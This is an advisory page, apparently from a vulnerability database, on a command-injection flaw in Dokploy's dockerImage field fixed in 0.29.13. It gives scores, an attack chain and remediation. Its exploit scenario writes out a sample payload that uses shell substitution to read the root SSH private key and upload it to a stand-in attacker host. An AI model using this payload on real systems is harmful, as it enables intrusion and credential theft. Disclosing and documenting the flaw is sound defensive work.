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Dokploy CVE-2026-72877

| EUVDEUVD-2026-55742 CRITICAL
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
9.6
CVSS 3.1 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
9.6 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
vuln.today AI
9.9 CRITICAL

Network-facing app UI/API (AV:N), trivial injection (AC:L), needs a create/update account (PR:L), no interaction (UI:N); commands escape to the host affecting other tenants (S:C) with full C/I/A from arbitrary execution.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
Patch available
Aug 10, 2026 - 20:04 EUVD
Source Code Evidence Fetched
Aug 10, 2026 - 19:50 vuln.today
Analysis Generated
Aug 10, 2026 - 19:50 vuln.today
CVE Published
Aug 10, 2026 - 19:02 cve.org
CRITICAL 9.6

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the dockerImage field is interpolated without quoting into shell commands in buildRemoteDocker() in packages/server/src/utils/providers/docker.ts and is validated only as an optional string. An authenticated user with application create or update permission can use shell command substitution in dockerImage to execute arbitrary commands on the local build host or a remote SSH build target, exposing host secrets and other projects. This issue is fixed in version 0.29.13.

AnalysisAI

OS command injection in Dokploy self-hostable PaaS versions prior to 0.29.13 lets an authenticated user with application create or update permission achieve arbitrary command execution on the build host. The dockerImage field is interpolated unquoted into shell commands in buildRemoteDocker() (packages/server/src/utils/providers/docker.ts) and validated only as an optional string, so shell command substitution such as $(...) or backticks runs on the local build host or a remote SSH build target. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate with app create/update rights
Delivery
Craft dockerImage with $() or backtick payload
Exploit
Trigger application build/deploy
Execution
buildRemoteDocker runs unquoted shell command
Persist
Arbitrary command execution on build host
Impact
Exfiltrate host secrets and other projects

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated Dokploy account that holds application create or update permission (per CVSS PR:L), and the attacker must supply a crafted value in the dockerImage field (or the related dockerContextPath / publishDirectory fields) of an application, then cause a build/deploy that invokes buildRemoteDocker(). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N, base 9.6) is internally consistent with the description: network-reachable web/API surface, low complexity, only low privileges (any user who can create or update an application), no user interaction, and a scope change because injected commands escape the application context to reach host secrets and other tenants' projects. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A low-privileged tenant on a shared Dokploy instance creates or edits an application and sets the Docker image to a value like nginx:latest$(cat /root/.ssh/id_rsa | curl -T - http://attacker/) or `id`, then triggers a deploy. When Dokploy runs buildRemoteDocker(), the shell evaluates the substitution on the build host or remote SSH target, executing the attacker's commands with the build process's privileges and exposing host secrets and other projects. …
Remediation Vendor-released patch: 0.29.13 - upgrade all Dokploy control-plane and build nodes to v0.29.13 or later, which quotes user-controlled fields via shell-quote at the docker pull/build/cp sinks (release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13, advisory GHSA-jxxj-gmpx-h5rj). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all Dokploy instances and document current versions; immediately restrict application creation and update permissions to essential personnel only and audit recent users with these permissions for suspicious activity. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-72877 vulnerability details – vuln.today

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